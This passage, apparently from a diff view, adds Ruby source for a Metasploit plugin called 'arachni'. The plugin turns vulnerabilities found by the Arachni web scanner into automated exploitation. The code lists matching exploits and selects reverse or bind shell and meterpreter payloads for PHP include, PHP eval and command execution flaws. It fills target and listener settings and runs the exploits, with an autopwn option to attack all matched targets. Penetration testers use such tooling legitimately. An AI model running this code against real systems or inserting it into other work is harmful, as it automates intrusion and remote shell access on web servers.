326
|
+
sploit = framework.modules.create( vuln[:exploit] )
|
|
327
|
+
driver.run_single( "set PAYLOAD #{payload( sploit, vuln )}" )
|
|
328
|
+
|
|
329
|
+
|
|
330
|
+
payload_table = Rex::Ui::Text::Table.new(
|
|
331
|
+
'Header' => "Compatible payloads",
|
|
332
|
+
'Indent' => 4,
|
|
333
|
+
'Columns' => [ "Name", "Description" ]
|
|
334
|
+
)
|
|
335
|
+
|
|
336
|
+
sploit.compatible_payloads.each do |payload|
|
|
337
|
+
payload_table << [ payload[0], payload[1].new.description ]
|
|
338
|
+
end
|
|
339
|
+
rescue
|
|
340
|
+
print_line( "\n#{payload_table.to_s}\n" )
|
|
341
|
+
print_line( "Use: set PAYLOAD <name>" )
|
|
342
|
+
end
|
|
343
|
+
|
|
344
|
+
end
|
|
345
|
+
|
|
346
|
+
#
|
|
347
|
+
# Lists all suitable exploits
|
|
348
|
+
#
|
|
349
|
+
def cmd_arachni_list_exploits
|
|
350
|
+
|
|
351
|
+
if !@exploits
|
|
352
|
+
print_error( 'You must first load a report using \'arachni_load\'.' )
|
|
353
|
+
return
|
|
354
|
+
end
|
|
355
|
+
|
|
356
|
+
if @exploits.empty?
|
|
357
|
+
print_error( 'No exploits to list.' )
|
|
358
|
+
end
|
|
359
|
+
|
|
360
|
+
@exploits.uniq!
|
|
361
|
+
|
|
362
|
+
exploit_table = Rex::Ui::Text::Table.new(
|
|
363
|
+
'Header' => "Unique exploits",
|
|
364
|
+
'Indent' => 4,
|
|
365
|
+
'Columns' => [
|
|
366
|
+
"ID", "Exploit", "Description"
|
|
367
|
+
]
|
|
368
|
+
)
|
|
369
|
+
|
|
370
|
+
@exploits.each_with_index do |ex, idx|
|
|
371
|
+
desc = framework.modules.create( ex ).description
|
|
372
|
+
exploit_table << [idx + 1, ex, desc ]
|
|
373
|
+
end
|
|
374
|
+
|
|
375
|
+
print_line( "\n#{exploit_table.to_s}\n" )
|
|
376
|
+
|
|
377
|
+
end
|
|
378
|
+
|
|
379
|
+
def help
|
|
380
|
+
print_status("Usage: arachni_autopwn [options]")
|
|
381
|
+
print_line("\t-h Display this help text")
|
|
382
|
+
print_line("\t-x [regexp] Only run modules whose name matches the regex")
|
|
383
|
+
print_line("\t-a Launch exploits against all matched targets")
|
|
384
|
+
# print_line("\t-s Stop on first shell")
|
|
385
|
+
print_line("\t-r Use a reverse connect shell")
|
|
386
|
+
print_line("\t-b Use a bind shell on a random port (default)")
|
|
387
|
+
print_line("\t-m Use a meterpreter shell (if possible)")
|
|
388
|
+
print_line("\t-q Disable exploit module output")
|
|
389
|
+
print_line("")
|
|
390
|
+
end
|
|
391
|
+
|
|
392
|
+
#
|
|
393
|
+
# Exploits a vulnerability based on user opts
|
|
394
|
+
#
|
|
395
|
+
def exploit( vuln, opts )
|
|
396
|
+
|
|
397
|
+
sploit = framework.modules.create( vuln[:exploit] )
|
|
398
|
+
|
|
399
|
+
print_status( "Running #{sploit.fullname}" )
|
|
400
|
+
|
|
401
|
+
sploit.datastore.merge!( prep_datastore( vuln ) )
|
|
402
|
+
|
|
403
|
+
sploit.exploit_simple(
|
|
404
|
+
'Payload' => payload( sploit, opts ),
|
|
405
|
+
'LocalInput' => opts[:quiet] ? nil : driver.input,
|
|
406
|
+
'LocalOutput' => opts[:quiet] ? nil : driver.output,
|
|
407
|
+
'RunAsJob' => false
|
|
408
|
+
)
|
|
409
|
+
|
|
410
|
+
end
|
|
411
|
+
|
|
412
|
+
#
|
|
413
|
+
# Determines the most suitable payload for an exploit based on user opts
|
|
414
|
+
#
|
|
415
|
+
def payload( sploit, opts )
|
|
416
|
+
|
|
417
|
+
# choose best payloads for a reverse shells
|
|
418
|
+
if opts[:reverse]
|
|
419
|
+
|
|
420
|
+
# choose best payloads for a reverse meterpreter shell
|
|
421
|
+
if opts[:meterpreter]
|
|
422
|
+
payloads = {
|
|
423
|
+
'exploit/unix/webapp/arachni_php_include' => 'php/meterpreter/reverse_tcp',
|
|
424
|
+
# arachni_exec doesn't have a compatiblem meterpreter shell...
|
|
425
|
+
'exploit/unix/webapp/arachni_exec' => 'cmd/unix/reverse_perl',
|
|
426
|
+
'exploit/unix/webapp/arachni_php_eval' => 'php/meterpreter/reverse_tcp',
|
|
427
|
+
}
|
|
428
|
+
# choose best payloads for a standard reverse shell
|
|
429
|
+
else
|
|
430
|
+
payloads = {
|
|
431
|
+
'exploit/unix/webapp/arachni_php_include' => 'generic/shell_reverse_tcp',
|
|
432
|
+
'exploit/unix/webapp/arachni_exec' => 'cmd/unix/reverse_perl',
|
|
433
|
+
'exploit/unix/webapp/arachni_php_eval' => 'generic/shell_reverse_tcp',
|
|
434
|
+
}
|
|
435
|
+
end
|
|
436
|
+
|
|
437
|
+
# choose best payloads for a bind shell (default)
|
|
438
|
+
else
|
|
439
|
+
# choose best payloads for a bind meterpreter shell
|
|
440
|
+
if opts[:meterpreter]
|
|
441
|
+
payloads = {
|
|
442
|
+
'exploit/unix/webapp/arachni_php_include' => 'php/meterpreter/bind_tcp',
|
|
443
|
+
'exploit/unix/webapp/arachni_exec' => 'cmd/unix/reverse_perl',
|
|
444
|
+
'exploit/unix/webapp/arachni_php_eval' => 'php/meterpreter/bind_tcp',
|
|
445
|
+
}
|
|
446
|
+
# choose best payloads for a standard bind shell
|
|
447
|
+
else
|
|
448
|
+
payloads = {
|
|
449
|
+
'exploit/unix/webapp/arachni_php_include' => 'php/bind_php',
|
|
450
|
+
'exploit/unix/webapp/arachni_exec' => 'cmd/unix/bind_perl',
|
|
451
|
+
'exploit/unix/webapp/arachni_php_eval' => 'php/bind_php',
|
|
452
|
+
}
|
|
453
|
+
end
|
|
454
|
+
end
|
|
455
|
+
|
|
456
|
+
return payloads[sploit.fullname]
|
|
457
|
+
end
|
|
458
|
+
|
|
459
|
+
#
|
|
460
|
+
# Prepares a hash to be used as a module/framework datastore
|
|
461
|
+
# based on the provided vulnerability
|
|
462
|
+
#
|
|
463
|
+
def prep_datastore( vuln )
|
|
464
|
+
|
|
465
|
+
cvuln = vuln.dup
|
|
466
|
+
|
|
467
|
+
uri = cvuln[:host]
|
|
468
|
+
uri += cvuln[:path] if cvuln[:path]
|
|
469
|
+
uri += cvuln[:query] if cvuln[:query]
|
|
470
|
+
|
|
471
|
+
print_status( "Preparing datastore for '#{cvuln[:name]}' vulnerability @ #{uri} ..." )
|
|
472
|
+
|
|
473
|
+
datastore = {}
|
|
474
|
+
datastore["SRVHOST"] = "127.0.0.1"
|
|
475
|
+
datastore["SRVPORT"] = ( rand( 9999 ) + 6000 ).to_s
|
|
476
|
+
datastore["RHOST"] = cvuln[:host]
|
|
477
|
+
datastore["RPORT"] = cvuln[:port]
|
|
478
|
+
datastore["LHOST"] = "127.0.0.1"
|
|
479
|
+
datastore["LPORT"] = ( rand( 9999 ) + 5000 ).to_s
|
|
480
|
+
|
|
481
|
+
datastore["SSL"] = cvuln[:ssl]
|
|
482
|
+
|
|
483
|
+
case cvuln[:method]
|
|
484
|
+
when 'GET'
|
|
485
|
+
datastore["GET"] = hash_to_query( cvuln[:params] )
|
|
486
|
+
when 'POST'
|
|
487
|
+
datastore["POST"] = hash_to_query( cvuln[:params] )
|
|
488
|
+
end
|
|
489
|
+
|
|
490
|
+
datastore["METHOD"] = cvuln[:method]
|
|
491
|
+
|
|
492
|
+
datastore["COOKIES"] = cvuln[:headers]['cookie']
|
|
493
|
+
headers = cvuln[:headers]
|
|
494
|
+
headers.delete( 'cookie' )
|
|
495
|
+
|
|
496
|
+
datastore["HEADERS"] = hash_to_query( headers, '::' )
|
|
497
|
+
datastore["PATH"] = cvuln[:path]
|
|
498
|
+
|
|
499
|
+
return datastore.dup
|
|
500
|
+
end
|
|
501
|
+
|
|
502
|
+
#
|
|
503
|
+
# Splits and converts a query string into a hash
|
|
504
|
+
#
|
|
505
|
+
def hash_to_query( hash, glue = '&' )
|
|
506
|
+
return hash.to_a.map do |item|
|
|
507
|
+
next if !item[1]
|
|
508
|
+
"#{item[0]}=#{item[1]}"
|
|
509
|
+
end.reject do |i| !i end.join( glue )
|
|
510
|
+
end
|
|
511
|
+
|
|
512
|
+
end
|
|
513
|
+
|
|
514
|
+
def initialize( framework, opts )
|
|
515
|
+
super
|
|
516
|
+
# console dispatcher commands.
|
|
517
|
+
add_console_dispatcher( ArachniCommandDispatcher )
|
|
518
|
+
end
|
|
519
|
+
|
|
520
|
+
def cleanup
|
|
521
|
+
remove_console_dispatcher( 'Arachni' )
|
|
522
|
+
end
|
|
523
|
+
|
|
524
|
+
def name
|
|
525
|
+
"arachni"
|
|
526
|
+
end
|
|
527
|
+
|
|
528
|
+
def desc
|
|
529
|
+
%q{Provides an exploitation platform for web app vulnerabilities
|
|
530
|
+
discovered by the Arachni WebApp Security Scaner Framework
|
|
531
|
+
(http://github.com/Zapotek/arachni)}
|
|
532
|
+
end
|
|
533
|
+
|
|
534
|
+
end
|
|
535
|
+
|
|
536
|
+
end
|